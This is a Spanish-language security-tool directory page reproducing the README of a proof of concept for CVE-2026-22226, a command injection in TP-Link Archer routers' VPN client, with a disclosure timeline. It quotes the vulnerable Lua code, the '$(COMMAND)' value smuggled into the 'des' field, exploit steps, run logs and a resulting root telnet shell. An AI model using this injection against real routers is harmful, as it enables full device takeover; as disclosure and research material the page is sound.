Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-22226 — Prueba de concepto para el CVE-2026-22226 | Kitploit
Herramientas/GitHubGitHub/lucasvanhaaren/cve-2026-22226
Seguridad IoTAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad InalámbricaPruebas de PenetraciónComando y Control
GitHublucasvanhaaren/cve-2026-22226

CVE-2026-22226

Prueba de concepto para el CVE-2026-22226

Ver Repositorio
11hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

CVE-2026-22226

Prueba de concepto para CVE-2026-22226

Inyección de comandos del sistema operativo autenticada en el lado LAN en el cliente VPN de los routers Wi-Fi TP-Link Archer


Resumen de la vulnerabilidad

El controlador del cliente VPN almacena la descripción de la entrada controlada por el usuario (des) en la configuración UCI con una expresión regular de validación débil. Cuando la entrada se lee posteriormente (mientras se edita en la WebUI), get_ovpn_data() interpola des en un comando de shell entrecomillado que se pasa a os.execute() sin ninguna sanitización:

root@kitploit:~
-- get_ovpn_data() in vpn.lua

file_ovpn_path_local = string.format("/etc/openvpn/%s%s", des_name, ".ovpn")
cmd = string.format("echo '%s' > %s", file_ovpn_path_local, EXIST_OVPN_CURR_EDIT)
os.execute(cmd)

El carácter de comilla simple (') pasa la expresión regular de validación, lo que es suficiente para escapar del entrecomillado del shell e inyectar comandos mediante la sustitución $(). Un campo des establecido en '$(COMMAND)' convierte el comando en:

root@kitploit:~
echo '/etc/openvpn/'$(COMMAND)'.ovpn' > /tmp/ovpn_curr_edit

Tenga en cuenta que la salida del comando nunca se devuelve en la respuesta HTTP, por lo que la inyección es ciega. Es por esto que necesitamos un canal fuera de banda (aquí el script PoC inicia un servidor telnetd para obtener un shell interactivo).

Prueba de concepto

[!Note] Solo probé este script en un TP-Link Archer AX73 (AX5400, HW v2.0 EU, FW v1.2.1 - Build 20250717), pero es probable que otros dispositivos Archer también sean vulnerables.

Este PoC sigue este proceso:

  • Autenticarse en LuCI como admin
  • Subir un archivo de configuración .ovpn ficticio
  • Insertar una entrada de cliente VPN con un campo des envenenado, escapando del contexto de comillas simples e inyectando nuestro payload mediante una sustitución de comando
  • Activar get_ovpn_data() leyendo la entrada de nuevo, lo que introduce el des envenenado en os.execute()
  • Limpiar la entrada VPN envenenada (esto permite volver a ejecutar el exploit más tarde)

[!Warning] La explotación de esta vulnerabilidad conduce a la ejecución de comandos del sistema operativo como root en el router (compromiso total del dispositivo), eludiendo la validación de entrada de des mediante el carácter de comilla simple permitido.

Uso

Las dependencias de Python se declaran en línea en el script, por lo que puede ejecutarlo directamente con un gestor de proyectos Python moderno, o instalarlas manualmente con pip:

root@kitploit:~
# using pipx
pipx run poc.py
# using uv
uv run poc.py

# using pip (legacy) then run with python
pip install requests pycryptodome
python poc.py
  • establecer la IP objetivo, las credenciales y el payload en poc.py
  • ejecutar el script:
root@kitploit:~
$ pipx run poc.py
INFO:__main__:TP-Link Archer Exploit PoC
INFO:__main__:Authentication ...
INFO:__main__:Authentication ... OK
INFO:__main__:Uploading .ovpn ...
INFO:__main__:Uploading .ovpn ... OK
INFO:__main__:Inserting VPN entry ...
INFO:__main__:Inserting VPN entry ... OK
INFO:__main__:Triggering command injection ...
INFO:__main__:Triggering command injection ... OK
INFO:__main__:Cleaning up ...
INFO:__main__:Cleaning up ... OK
  • interactuar con el servidor telnetd iniciado:
root@kitploit:~
$ telnet 192.168.0.1 1337

BusyBox v1.19.4 (2025-07-17 10:58:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/www # id
uid=0(root) gid=0(root)
/www # uname -a
Linux Archer AX73 4.19.183 #1 SMP PREEMPT Thu Jul 17 10:22:47 CST 2025 armv7l GNU/Linux

Cronología

  • 2026-02-18 : Vulnerabilidad reportada a TP-Link, proporcionando un informe detallado y un script de prueba de concepto
  • 2026-03-25 : TP-Link reconoció el informe e indicó que el proceso podría tomar hasta 90 días
  • 2026-05-13 : TP-Link solicitó 30 días adicionales, lo cual aceptamos
  • 2026-05-16 : Se asignó CVE-2026-22226, rastreando el mismo error reportado en el BE230 por otro investigador unos días antes; fecha de divulgación establecida para el 2026-07-22
  • 2026-06-04 : Firmware de AX73 corregido lanzado (v1.3.1)
  • 2026-07-22 : Divulgación pública

Referencias

  • CVE-2026-22226
  • Aviso de seguridad de TP-Link
Descargar herramienta